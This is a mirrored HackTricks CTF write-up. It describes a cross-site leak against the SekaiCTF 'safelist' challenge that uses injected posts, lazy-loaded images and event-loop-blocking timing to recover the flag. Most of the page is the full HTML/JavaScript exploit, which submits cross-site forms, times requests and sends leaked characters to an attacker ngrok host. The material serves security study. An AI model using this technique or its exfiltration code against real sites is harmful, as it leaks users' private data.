mirror of
https://github.com/carlospolop/hacktricks
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172 lines
7.6 KiB
Markdown
172 lines
7.6 KiB
Markdown
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# Event Loop Blocking + Lazy images
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
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This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
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{% content-ref url="connection-pool-example.md" %}
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[connection-pool-example.md](connection-pool-example.md)
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{% endcontent-ref %}
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The idea behind this exploit is:
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* The posts are loaded alphabetically
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* An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
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* If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
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* Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**. 
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* If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
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* If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
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Let's check the code:
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<!-- Inject post with payload -->
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<!-- Remove index -->
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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// Function to leak info to attacker
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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// I have omited code here as apparently it wasn't necesary
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// fallback to linerar since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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// <canvas height="3350px"> is experimental and allow to show the injected
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// images when the post injected is the first one but to hide them when
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// the injected post is after the post with the flag
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// Open posts page 5 times
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30 //Lets time 30 requests
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setTimeout(async () => {
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// Send 30 requests and time each
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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// Send info about how much time it took
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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||
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|
||
|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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